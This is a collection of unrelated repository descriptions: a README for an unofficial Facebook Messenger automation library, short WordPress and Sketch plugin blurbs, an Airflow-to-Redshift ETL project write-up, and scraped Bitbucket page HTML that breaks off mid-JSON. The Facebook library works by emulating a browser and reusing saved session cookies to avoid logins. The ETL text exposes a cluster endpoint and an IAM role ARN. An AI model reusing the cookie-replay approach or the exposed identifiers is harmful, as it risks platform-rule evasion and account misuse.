This repo is a fork from main repo and will usually have new features bundled faster than main repo (and maybe bundle some bugs, too). # Unofficial Facebook Chat API <img alt="version" src="https://img.shields.io/github/package-json/v/ProCoderMew/fca-unofficial?label=github&style=flat-square"> Facebook now has an official API for chat bots [here](https://developers.facebook.com/docs/messenger-platform). This API is the only way to automate chat functionalities on a user account. We do this by emulating the browser. This means doing the exact same GET/POST requests and tricking Facebook into thinking we're accessing the website normally. Because we're doing it this way, this API won't work with an auth token but requires the credentials of a Facebook account. _Disclaimer_: We are not responsible if your account gets banned for spammy activities such as sending lots of messages to people you don't know, sending messages very quickly, sending spammy looking URLs, logging in and out very quickly... Be responsible Facebook citizens. See [below](#projects-using-this-api) for projects using this API. ## Install If you just want to use fca-unofficial, you should use this command: ```bash npm install procodermew/fca-unofficial ``` It will download `fca-unofficial` from NPM repositories ## Testing your bots If you want to test your bots without creating another account on Facebook, you can use [Facebook Whitehat Accounts](https://www.facebook.com/whitehat/accounts/). ## Example Usage ```javascript const login = require("fca-unofficial"); // Create simple echo bot login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); api.listen((err, message) => { api.sendMessage(message.body, message.threadID); }); }); ``` Result: <img width="517" alt="screen shot 2016-11-04 at 14 36 00" src="https://cloud.githubusercontent.com/assets/4534692/20023545/f8c24130-a29d-11e6-9ef7-47568bdbc1f2.png"> ## Documentation You can see it [here](DOCS.md). ## Main Functionality ### Sending a message #### api.sendMessage(message, threadID[, callback][, messageID]) Various types of message can be sent: * *Regular:* set field `body` to the desired message as a string. * *Sticker:* set a field `sticker` to the desired sticker ID. * *File or image:* Set field `attachment` to a readable stream or an array of readable streams. * *URL:* set a field `url` to the desired URL. * *Emoji:* set field `emoji` to the desired emoji as a string and set field `emojiSize` with size of the emoji (`small`, `medium`, `large`) Note that a message can only be a regular message (which can be empty) and optionally one of the following: a sticker, an attachment or a url. __Tip__: to find your own ID, you can look inside the cookies. The `userID` is under the name `c_user`. __Example (Basic Message)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); var yourID = "000000000000000"; var msg = "Hey!"; api.sendMessage(msg, yourID); }); ``` __Example (File upload)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); // Note this example uploads an image called image.jpg var yourID = "000000000000000"; var msg = { body: "Hey!", attachment: fs.createReadStream(__dirname + '/image.jpg') } api.sendMessage(msg, yourID); }); ``` ------------------------------------ ### Saving session. To avoid logging in every time you should save AppState (cookies etc.) to a file, then you can use it without having password in your scripts. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); var credentials = {email: "FB_EMAIL", password: "FB_PASSWORD"}; login(credentials, (err, api) => { if(err) return console.error(err); fs.writeFileSync('appstate.json', JSON.stringify(api.getAppState())); }); ``` Alternative: Use [c3c-fbstate](https://github.com/c3cbot/c3c-fbstate) to get fbstate.json (appstate.json) ------------------------------------ ### Listening to a chat #### api.listen(callback) Listen watches for messages sent in a chat. By default this won't receive events (joining/leaving a chat, title change etc…) but it can be activated with `api.setOptions({listenEvents: true})`. This will by default ignore messages sent by the current account, you can enable listening to your own messages with `api.setOptions({selfListen: true})`. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); // Simple echo bot. It will repeat everything that you say. // Will stop when you say '/stop' login({appState: JSON.parse(fs.readFileSync('appstate.json', 'utf8'))}, (err, api) => { if(err) return console.error(err); api.setOptions({listenEvents: true}); var stopListening = api.listenMqtt((err, event) => { if(err) return console.error(err); api.markAsRead(event.threadID, (err) => { if(err) console.error(err); }); switch(event.type) { case "message": if(event.body === '/stop') { api.sendMessage("Goodbye…", event.threadID); return stopListening(); } api.sendMessage("TEST BOT: " + event.body, event.threadID); break; case "event": console.log(event); break; } }); }); ``` ## FAQS 1. How do I run tests? > For tests, create a `test-config.json` file that resembles `example-config.json` and put it in the `test` directory. From the root >directory, run `npm test`. 2. Why doesn't `sendMessage` always work when I'm logged in as a page? > Pages can't start conversations with users directly; this is to prevent pages from spamming users. 3. What do I do when `login` doesn't work? > First check that you can login to Facebook using the website. If login approvals are enabled, you might be logging in incorrectly. For how to handle login approvals, read our docs on [`login`](DOCS.md#login). 4. How can I avoid logging in every time? Can I log into a previous session? > We support caching everything relevant for you to bypass login. `api.getAppState()` returns an object that you can save and pass into login as `{appState: mySavedAppState}` instead of the credentials object. If this fails, your session has expired. 5. Do you support sending messages as a page? > Yes, set the pageID option on login (this doesn't work if you set it using api.setOptions, it affects the login process). > ```js > login(credentials, {pageID: "000000000000000"}, (err, api) => { … } > ``` 6. I'm getting some crazy weird syntax error like `SyntaxError: Unexpected token [`!!! > Please try to update your version of node.js before submitting an issue of this nature. We like to use new language features. 7. I don't want all of these logging messages! > You can use `api.setOptions` to silence the logging. You get the `api` object from `login` (see example above). Do > ```js > api.setOptions({ > logLevel: "silent" > }); > ``` <a name="projects-using-this-api"></a> ## Projects using this API: - [c3c](https://github.com/lequanglam/c3c) - A bot that can be customizable using plugins. Support Facebook & Discord. - [Miraiv2](https://github.com/miraiPr0ject/miraiv2) - A simple Facebook Messenger Bot made by CatalizCS and SpermLord. ## Projects using this API (original repository, facebook-chat-api): - [Messer](https://github.com/mjkaufer/Messer) - Command-line messaging for Facebook Messenger - [messen](https://github.com/tomquirk/messen) - Rapidly build Facebook Messenger apps in Node.js - [Concierge](https://github.com/concierge/Concierge) - Concierge is a highly modular, easily extensible general purpose chat bot with a built in package manager - [Marc Zuckerbot](https://github.com/bsansouci/marc-zuckerbot) - Facebook chat bot - [Marc Thuckerbot](https://github.com/bsansouci/lisp-bot) - Programmable lisp bot - [MarkovsInequality](https://github.com/logicx24/MarkovsInequality) - Extensible chat bot adding useful functions to Facebook Messenger - [AllanBot](https://github.com/AllanWang/AllanBot-Public) - Extensive module that combines the facebook api with firebase to create numerous functions; no coding experience is required to implement this. - [Larry Pudding Dog Bot](https://github.com/Larry850806/facebook-chat-bot) - A facebook bot you can easily customize the response - [fbash](https://github.com/avikj/fbash) - Run commands on your computer's terminal over Facebook Messenger - [Klink](https://github.com/KeNt178/klink) - This Chrome extension will 1-click share the link of your active tab over Facebook Messenger - [Botyo](https://github.com/ivkos/botyo) - Modular bot designed for group chat rooms on Facebook - [matrix-puppet-facebook](https://github.com/matrix-hacks/matrix-puppet-facebook) - A facebook bridge for [matrix](https://matrix.org) - [facebot](https://github.com/Weetbix/facebot) - A facebook bridge for Slack. - [Botium](https://github.com/codeforequity-at/botium-core) - The Selenium for Chatbots - [Messenger-CLI](https://github.com/AstroCB/Messenger-CLI) - A command-line interface for sending and receiving messages through Facebook Messenger. - [AssumeZero-Bot](https://github.com/AstroCB/AssumeZero-Bot) – A highly customizable Facebook Messenger bot for group chats. - [Miscord](https://github.com/Bjornskjald/miscord) - An easy-to-use Facebook bridge for Discord. - [chat-bridge](https://github.com/rexx0520/chat-bridge) - A Messenger, Telegram and IRC chat bridge. - [messenger-auto-reply](https://gitlab.com/theSander/messenger-auto-reply) - An auto-reply service for Messenger. - [BotCore](https://github.com/AstroCB/BotCore) – A collection of tools for writing and managing Facebook Messenger bots. - [mnotify](https://github.com/AstroCB/mnotify) – A command-line utility for sending alerts and notifications through Facebook Messenger.
g-kanoufi
WordPress Cleanup and Basic Options Functions is a utility plugin, even though it's was developed with a focus on developers as many functionalities are what you might just add to every new website you build, it's really easy to use, just check the boxes corresponding to the set up you want.
ultranet1
Project Description: A music streaming company wants to introduce more automation and monitoring to their data warehouse ETL pipelines and they have come to the conclusion that the best tool to achieve this is Apache Airflow. As their Data Engineer, I was tasked to create a reusable production-grade data pipeline that incorporates data quality checks and allows for easy backfills. Several analysts and Data Scientists rely on the output generated by this pipeline and it is expected that the pipeline runs daily on a schedule by pulling new data from the source and store the results to the destination. Data Description: The source data resides in S3 and needs to be processed in a data warehouse in Amazon Redshift. The source datasets consist of JSON logs that tell about user activity in the application and JSON metadata about the songs the users listen to. Data Pipeline design: At a high-level the pipeline does the following tasks. Extract data from multiple S3 locations. Load the data into Redshift cluster. Transform the data into a star schema. Perform data validation and data quality checks. Calculate the most played songs for the specified time interval. Load the result back into S3. dag Structure of the Airflow DAG Design Goals: Based on the requirements of our data consumers, our pipeline is required to adhere to the following guidelines: The DAG should not have any dependencies on past runs. On failure, the task is retried for 3 times. Retries happen every 5 minutes. Catchup is turned off. Do not email on retry. Pipeline Implementation: Apache Airflow is a Python framework for programmatically creating workflows in DAGs, e.g. ETL processes, generating reports, and retraining models on a daily basis. The Airflow UI automatically parses our DAG and creates a natural representation for the movement and transformation of data. A DAG simply is a collection of all the tasks you want to run, organized in a way that reflects their relationships and dependencies. A DAG describes how you want to carry out your workflow, and Operators determine what actually gets done. By default, airflow comes with some simple built-in operators like PythonOperator, BashOperator, DummyOperator etc., however, airflow lets you extend the features of a BaseOperator and create custom operators. For this project, I developed several custom operators. operators The description of each of these operators follows: StageToRedshiftOperator: Stages data to a specific redshift cluster from a specified S3 location. Operator uses templated fields to handle partitioned S3 locations. LoadFactOperator: Loads data to the given fact table by running the provided sql statement. Supports delete-insert and append style loads. LoadDimensionOperator: Loads data to the given dimension table by running the provided sql statement. Supports delete-insert and append style loads. SubDagOperator: Two or more operators can be grouped into one task using the SubDagOperator. Here, I am grouping the tasks of checking if the given table has rows and then run a series of data quality sql commands. HasRowsOperator: Data quality check to ensure that the specified table has rows. DataQualityOperator: Performs data quality checks by running sql statements to validate the data. SongPopularityOperator: Calculates the top ten most popular songs for a given interval. The interval is dictated by the DAG schedule. UnloadToS3Operator: Stores the analysis result back to the given S3 location. Code for each of these operators is located in the plugins/operators directory. Pipeline Schedule and Data Partitioning: The events data residing on S3 is partitioned by year (2018) and month (11). Our task is to incrementally load the event json files, and run it through the entire pipeline to calculate song popularity and store the result back into S3. In this manner, we can obtain the top songs per day in an automated fashion using the pipeline. Please note, this is a trivial analyis, but you can imagine other complex queries that follow similar structure. S3 Input events data: s3://<bucket>/log_data/2018/11/ 2018-11-01-events.json 2018-11-02-events.json 2018-11-03-events.json .. 2018-11-28-events.json 2018-11-29-events.json 2018-11-30-events.json S3 Output song popularity data: s3://skuchkula-topsongs/ songpopularity_2018-11-01 songpopularity_2018-11-02 songpopularity_2018-11-03 ... songpopularity_2018-11-28 songpopularity_2018-11-29 songpopularity_2018-11-30 The DAG can be configured by giving it some default_args which specify the start_date, end_date and other design choices which I have mentioned above. default_args = { 'owner': 'shravan', 'start_date': datetime(2018, 11, 1), 'end_date': datetime(2018, 11, 30), 'depends_on_past': False, 'email_on_retry': False, 'retries': 3, 'retry_delay': timedelta(minutes=5), 'catchup_by_default': False, 'provide_context': True, } How to run this project? Step 1: Create AWS Redshift Cluster using either the console or through the notebook provided in create-redshift-cluster Run the notebook to create AWS Redshift Cluster. Make a note of: DWN_ENDPOINT :: dwhcluster.c4m4dhrmsdov.us-west-2.redshift.amazonaws.com DWH_ROLE_ARN :: arn:aws:iam::506140549518:role/dwhRole Step 2: Start Apache Airflow Run docker-compose up from the directory containing docker-compose.yml. Ensure that you have mapped the volume to point to the location where you have your DAGs. NOTE: You can find details of how to manage Apache Airflow on mac here: https://gist.github.com/shravan-kuchkula/a3f357ff34cf5e3b862f3132fb599cf3 start_airflow Step 3: Configure Apache Airflow Hooks On the left is the S3 connection. The Login and password are the IAM user's access key and secret key that you created. Basically, by using these credentials, we are able to read data from S3. On the right is the redshift connection. These values can be easily gathered from your Redshift cluster connections Step 4: Execute the create-tables-dag This dag will create the staging, fact and dimension tables. The reason we need to trigger this manually is because, we want to keep this out of main dag. Normally, creation of tables can be handled by just triggering a script. But for the sake of illustration, I created a DAG for this and had Airflow trigger the DAG. You can turn off the DAG once it is completed. After running this DAG, you should see all the tables created in the AWS Redshift. Step 5: Turn on the load_and_transform_data_in_redshift dag As the execution start date is 2018-11-1 with a schedule interval @daily and the execution end date is 2018-11-30, Airflow will automatically trigger and schedule the dag runs once per day for 30 times. Shown below are the 30 DAG runs ranging from start_date till end_date, that are trigged by airflow once per day. schedule
BrendanMiller
Sketch Plugin for wrapping a new artboard around what you've selected
Phamdung2009
<!DOCTYPE html> <html lang="en"> <head> <title>Bitbucket</title> <meta id="bb-bootstrap" data-current-user="{"isKbdShortcutsEnabled": true, "isSshEnabled": false, "isAuthenticated": false}" /> <meta name="frontbucket-version" content="production"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <script nonce="xxI7cPsOVRt9B81s" type="text/javascript">(window.NREUM||(NREUM={})).loader_config={licenseKey:"a2cef8c3d3",applicationID:"548124220"};window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var i=t[n]={exports:{}};e[n][0].call(i.exports,function(t){var i=e[n][1][t];return r(i||t)},i,i.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var i=0;i<n.length;i++)r(n[i]);return r}({1:[function(e,t,n){function r(){}function i(e,t,n){return function(){return o(e,[u.now()].concat(c(arguments)),t?null:this,n),t?void 0:this}}var o=e("handle"),a=e(7),c=e(8),f=e("ee").get("tracer"),u=e("loader"),s=NREUM;"undefined"==typeof window.newrelic&&(newrelic=s);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],p="api-",l=p+"ixn-";a(d,function(e,t){s[t]=i(p+t,!0,"api")}),s.addPageAction=i(p+"addPageAction",!0),s.setCurrentRouteName=i(p+"routeName",!0),t.exports=newrelic,s.interaction=function(){return(new r).get()};var m=r.prototype={createTracer:function(e,t){var n={},r=this,i="function"==typeof t;return o(l+"tracer",[u.now(),e,n],r),function(){if(f.emit((i?"":"no-")+"fn-start",[u.now(),r,i],n),i)try{return t.apply(this,arguments)}catch(e){throw f.emit("fn-err",[arguments,this,e],n),e}finally{f.emit("fn-end",[u.now()],n)}}}};a("actionText,setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){m[t]=i(l+t)}),newrelic.noticeError=function(e,t){"string"==typeof e&&(e=new Error(e)),o("err",[e,u.now(),!1,t])}},{}],2:[function(e,t,n){function r(){return c.exists&&performance.now?Math.round(performance.now()):(o=Math.max((new Date).getTime(),o))-a}function i(){return o}var o=(new Date).getTime(),a=o,c=e(9);t.exports=r,t.exports.offset=a,t.exports.getLastTimestamp=i},{}],3:[function(e,t,n){function r(e){return!(!e||!e.protocol||"file:"===e.protocol)}t.exports=r},{}],4:[function(e,t,n){function r(e,t){var n=e.getEntries();n.forEach(function(e){"first-paint"===e.name?d("timing",["fp",Math.floor(e.startTime)]):"first-contentful-paint"===e.name&&d("timing",["fcp",Math.floor(e.startTime)])})}function i(e,t){var n=e.getEntries();n.length>0&&d("lcp",[n[n.length-1]])}function o(e){e.getEntries().forEach(function(e){e.hadRecentInput||d("cls",[e])})}function a(e){if(e instanceof m&&!g){var t=Math.round(e.timeStamp),n={type:e.type};t<=p.now()?n.fid=p.now()-t:t>p.offset&&t<=Date.now()?(t-=p.offset,n.fid=p.now()-t):t=p.now(),g=!0,d("timing",["fi",t,n])}}function c(e){d("pageHide",[p.now(),e])}if(!("init"in NREUM&&"page_view_timing"in NREUM.init&&"enabled"in NREUM.init.page_view_timing&&NREUM.init.page_view_timing.enabled===!1)){var f,u,s,d=e("handle"),p=e("loader"),l=e(6),m=NREUM.o.EV;if("PerformanceObserver"in window&&"function"==typeof window.PerformanceObserver){f=new PerformanceObserver(r);try{f.observe({entryTypes:["paint"]})}catch(v){}u=new PerformanceObserver(i);try{u.observe({entryTypes:["largest-contentful-paint"]})}catch(v){}s=new PerformanceObserver(o);try{s.observe({type:"layout-shift",buffered:!0})}catch(v){}}if("addEventListener"in document){var g=!1,w=["click","keydown","mousedown","pointerdown","touchstart"];w.forEach(function(e){document.addEventListener(e,a,!1)})}l(c)}},{}],5:[function(e,t,n){function r(e,t){if(!i)return!1;if(e!==i)return!1;if(!t)return!0;if(!o)return!1;for(var n=o.split("."),r=t.split("."),a=0;a<r.length;a++)if(r[a]!==n[a])return!1;return!0}var i=null,o=null,a=/Version\/(\S+)\s+Safari/;if(navigator.userAgent){var c=navigator.userAgent,f=c.match(a);f&&c.indexOf("Chrome")===-1&&c.indexOf("Chromium")===-1&&(i="Safari",o=f[1])}t.exports={agent:i,version:o,match:r}},{}],6:[function(e,t,n){function r(e){function t(){e(a&&document[a]?document[a]:document[i]?"hidden":"visible")}"addEventListener"in document&&o&&document.addEventListener(o,t,!1)}t.exports=r;var i,o,a;"undefined"!=typeof document.hidden?(i="hidden",o="visibilitychange",a="visibilityState"):"undefined"!=typeof document.msHidden?(i="msHidden",o="msvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(i="webkitHidden",o="webkitvisibilitychange",a="webkitVisibilityState")},{}],7:[function(e,t,n){function r(e,t){var n=[],r="",o=0;for(r in e)i.call(e,r)&&(n[o]=t(r,e[r]),o+=1);return n}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],8:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,i=n-t||0,o=Array(i<0?0:i);++r<i;)o[r]=e[t+r];return o}t.exports=r},{}],9:[function(e,t,n){t.exports={exists:"undefined"!=typeof window.performance&&window.performance.timing&&"undefined"!=typeof window.performance.timing.navigationStart}},{}],ee:[function(e,t,n){function r(){}function i(e){function t(e){return e&&e instanceof r?e:e?u(e,f,a):a()}function n(n,r,i,o,a){if(a!==!1&&(a=!0),!l.aborted||o){e&&a&&e(n,r,i);for(var c=t(i),f=v(n),u=f.length,s=0;s<u;s++)f[s].apply(c,r);var p=d[h[n]];return p&&p.push([b,n,r,c]),c}}function o(e,t){y[e]=v(e).concat(t)}function m(e,t){var n=y[e];if(n)for(var r=0;r<n.length;r++)n[r]===t&&n.splice(r,1)}function v(e){return y[e]||[]}function g(e){return p[e]=p[e]||i(n)}function w(e,t){s(e,function(e,n){t=t||"feature",h[n]=t,t in d||(d[t]=[])})}var y={},h={},b={on:o,addEventListener:o,removeEventListener:m,emit:n,get:g,listeners:v,context:t,buffer:w,abort:c,aborted:!1};return b}function o(e){return u(e,f,a)}function a(){return new r}function c(){(d.api||d.feature)&&(l.aborted=!0,d=l.backlog={})}var f="nr@context",u=e("gos"),s=e(7),d={},p={},l=t.exports=i();t.exports.getOrSetContext=o,l.backlog=d},{}],gos:[function(e,t,n){function r(e,t,n){if(i.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(o){}return e[t]=r,r}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){i.buffer([e],r),i.emit(e,t,n)}var i=e("ee").get("handle");t.exports=r,r.ee=i},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,o,function(){return i++})}var i=1,o="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!E++){var e=x.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(u.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return u.abort();f(h,function(t,n){e[t]||(e[t]=n)});var n=a();c("mark",["onload",n+x.offset],null,"api"),c("timing",["load",n]);var r=l.createElement("script");r.src="https://"+e.agent,t.parentNode.insertBefore(r,t)}}function i(){"complete"===l.readyState&&o()}function o(){c("mark",["domContent",a()+x.offset],null,"api")}var a=e(2),c=e("handle"),f=e(7),u=e("ee"),s=e(5),d=e(3),p=window,l=p.document,m="addEventListener",v="attachEvent",g=p.XMLHttpRequest,w=g&&g.prototype;if(d(p.location)){NREUM.o={ST:setTimeout,SI:p.setImmediate,CT:clearTimeout,XHR:g,REQ:p.Request,EV:p.Event,PR:p.Promise,MO:p.MutationObserver};var y=""+location,h={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1208.min.js"},b=g&&w&&w[m]&&!/CriOS/.test(navigator.userAgent),x=t.exports={offset:a.getLastTimestamp(),now:a,origin:y,features:{},xhrWrappable:b,userAgent:s};e(1),e(4),l[m]?(l[m]("DOMContentLoaded",o,!1),p[m]("load",r,!1)):(l[v]("onreadystatechange",i),p[v]("onload",r)),c("mark",["firstbyte",a.getLastTimestamp()],null,"api");var E=0}},{}],"wrap-function":[function(e,t,n){function r(e,t){function n(t,n,r,f,u){function nrWrapper(){var o,a,s,p;try{a=this,o=d(arguments),s="function"==typeof r?r(o,a):r||{}}catch(l){i([l,"",[o,a,f],s],e)}c(n+"start",[o,a,f],s,u);try{return p=t.apply(a,o)}catch(m){throw c(n+"err",[o,a,m],s,u),m}finally{c(n+"end",[o,a,p],s,u)}}return a(t)?t:(n||(n=""),nrWrapper[p]=t,o(t,nrWrapper,e),nrWrapper)}function r(e,t,r,i,o){r||(r="");var c,f,u,s="-"===r.charAt(0);for(u=0;u<t.length;u++)f=t[u],c=e[f],a(c)||(e[f]=n(c,s?f+r:r,i,f,o))}function c(n,r,o,a){if(!m||t){var c=m;m=!0;try{e.emit(n,r,o,t,a)}catch(f){i([f,n,r,o],e)}m=c}}return e||(e=s),n.inPlace=r,n.flag=p,n}function i(e,t){t||(t=s);try{t.emit("internal-error",e)}catch(n){}}function o(e,t,n){if(Object.defineProperty&&Object.keys)try{var r=Object.keys(e);return r.forEach(function(n){Object.defineProperty(t,n,{get:function(){return e[n]},set:function(t){return e[n]=t,t}})}),t}catch(o){i([o],n)}for(var a in e)l.call(e,a)&&(t[a]=e[a]);return t}function a(e){return!(e&&e instanceof Function&&e.apply&&!e[p])}function c(e,t){var n=t(e);return n[p]=e,o(e,n,s),n}function f(e,t,n){var r=e[t];e[t]=c(r,n)}function u(){for(var e=arguments.length,t=new Array(e),n=0;n<e;++n)t[n]=arguments[n];return t}var s=e("ee"),d=e(8),p="nr@original",l=Object.prototype.hasOwnProperty,m=!1;t.exports=r,t.exports.wrapFunction=c,t.exports.wrapInPlace=f,t.exports.argsToArray=u},{}]},{},["loader"]);</script> <meta name="bb-env" content="production" /> <meta id="bb-canon-url" name="bb-canon-url" content="https://bitbucket.org"> <meta name="bb-api-canon-url" content="https://api.bitbucket.org"> <meta name="bitbucket-commit-hash" content="10b0d91b991b"> <meta name="bb-app-node" content="app-3001"> <meta name="bb-dce-env" content="ASH2"> <meta name="bb-view-name" content="bitbucket.apps.repo2.views.SourceView"> <meta name="ignore-whitespace" content="False"> <meta name="tab-size" content="None"> <meta name="locale" content="en"> <meta name="application-name" content="Bitbucket"> <meta name="apple-mobile-web-app-title" content="Bitbucket"> <meta name="slack-app-id" content="A8W8QLZD1"> <meta name="statuspage-api-host" content="https://bqlf8qjztdtr.statuspage.io"> <meta name="theme-color" content="#0049B0"> <meta name="msapplication-TileColor" content="#0052CC"> <meta name="msapplication-TileImage" content="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/mstile-150x150.png"> <link rel="apple-touch-icon" sizes="180x180" type="image/png" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/apple-touch-icon.png"> <link rel="icon" sizes="192x192" type="image/png" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/android-chrome-192x192.png"> <link rel="icon" sizes="16x16 24x24 32x32 64x64" type="image/x-icon" href="/favicon.ico?v=2"> <link rel="mask-icon" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/safari-pinned-tab.svg" color="#0052CC"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket"> <meta name="description" content=""> <meta name="bb-single-page-app" content="true"> <link rel="stylesheet" href="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/vendor.f4e8952a.css"> <script nonce="xxI7cPsOVRt9B81s"> if (window.performance) { window.performance.okayToSendMetrics = !document.hidden && 'onvisibilitychange' in document; if (window.performance.okayToSendMetrics) { window.addEventListener('visibilitychange', function () { if (document.hidden) { window.performance.okayToSendMetrics = false; } }); } } </script> </head> <body> <div id="root"> <script nonce="xxI7cPsOVRt9B81s"> window.__webpack_public_path__ = "https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/"; </script> </div> <script nonce="xxI7cPsOVRt9B81s"> window.__sentry__ = {"dsn": "https://2dcda83904474d8c86928ebbfa1ab294@sentry.io/1480772", "environment": "production", "tags": {"puppet_env": "production", "dc_location": "ash2", "service": "gu-bb", "revision": "10b0d91b991b"}}; window.__initial_state__ = {"section": {"repository": {"connectActions": [], "cloneProtocol": "https", "currentRepository": {"scm": "git", "website": "https://github.com/jdkoftinoff/mb-linux-msli", "uuid": "{7fe183eb-5a1e-43c1-af4a-d085585c9537}", "links": {"clone": [{"href": "https://bitbucket.org/__wp__/mb-linux-msli.git", "name": "https"}, {"href": "git@bitbucket.org:__wp__/mb-linux-msli.git", "name": "ssh"}], "self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli"}, "avatar": {"href": "https://bytebucket.org/ravatar/%7B7fe183eb-5a1e-43c1-af4a-d085585c9537%7D?ts=c"}}, "name": "mb-linux-msli", "project": {"description": "Project created by Bitbucket for __WP__", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/workspaces/__wp__/projects/PROJ"}, "html": {"href": "https://bitbucket.org/__wp__/workspace/projects/PROJ"}, "avatar": {"href": "https://bitbucket.org/account/user/__wp__/projects/PROJ/avatar/32?ts=1447453979"}}, "name": "Untitled project", "created_on": "2015-11-13T22:32:59.539281+00:00", "key": "PROJ", "updated_on": "2015-11-13T22:32:59.539335+00:00", "owner": {"username": "__wp__", "type": "team", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}}, "workspace": {"name": "__WP__", "type": "workspace", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/workspaces/__wp__"}, "html": {"href": "https://bitbucket.org/__wp__/"}, "avatar": {"href": "https://bitbucket.org/workspaces/__wp__/avatar/?ts=1543468984"}}, "slug": "__wp__"}, "type": "project", "is_private": false, "uuid": "{e060f8c0-a44d-4706-9d5b-b11f3b7f8ea7}"}, "language": "c", "mainbranch": {"name": "master"}, "full_name": "__wp__/mb-linux-msli", "owner": {"username": "__wp__", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}, "is_active": true, "created_on": "2012-09-12T18:04:32.423010+00:00", "type": "team", "properties": {}, "has_2fa_enabled": null}, "updated_on": "2012-09-23T15:01:03.144649+00:00", "type": "repository", "slug": "mb-linux-msli", "is_private": false, "description": "Forked from https://github.com/jdkoftinoff/mb-linux-msli."}, "mirrors": [], "menuItems": [{"analytics_label": "repository.source", "is_client_link": true, "icon_class": "icon-source", "target": "_self", "weight": 200, "url": "/__wp__/mb-linux-msli/src", "tab_name": "source", "can_display": true, "label": "Source", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": ["/diff", "/history-node"], "id": "repo-source-link", "type": "menu_item", "children": [], "icon": "icon-source"}, {"analytics_label": "repository.commits", "is_client_link": true, "icon_class": "icon-commits", "target": "_self", "weight": 300, "url": "/__wp__/mb-linux-msli/commits/", "tab_name": "commits", "can_display": true, "label": "Commits", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-commits-link", "type": "menu_item", "children": [], "icon": "icon-commits"}, {"analytics_label": "repository.branches", "is_client_link": true, "icon_class": "icon-branches", "target": "_self", "weight": 400, "url": "/__wp__/mb-linux-msli/branches/", "tab_name": "branches", "can_display": true, "label": "Branches", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-branches-link", "type": "menu_item", "children": [], "icon": "icon-branches"}, {"analytics_label": "repository.pullrequests", "is_client_link": true, "icon_class": "icon-pull-requests", "target": "_self", "weight": 500, "url": "/__wp__/mb-linux-msli/pull-requests/", "tab_name": "pullrequests", "can_display": true, "label": "Pull requests", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-pullrequests-link", "type": "menu_item", "children": [], "icon": "icon-pull-requests"}, {"analytics_label": "repository.jira", "is_client_link": true, "icon_class": "icon-jira", "target": "_self", "weight": 600, "url": "/__wp__/mb-linux-msli/jira", "tab_name": "jira", "can_display": true, "label": "Jira issues", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-jira-link", "type": "menu_item", "children": [], "icon": "icon-jira"}, {"analytics_label": "repository.downloads", "is_client_link": false, "icon_class": "icon-downloads", "target": "_self", "weight": 800, "url": "/__wp__/mb-linux-msli/downloads/", "tab_name": "downloads", "can_display": true, "label": "Downloads", "is_premium": null, "is_dropdown_item": false, 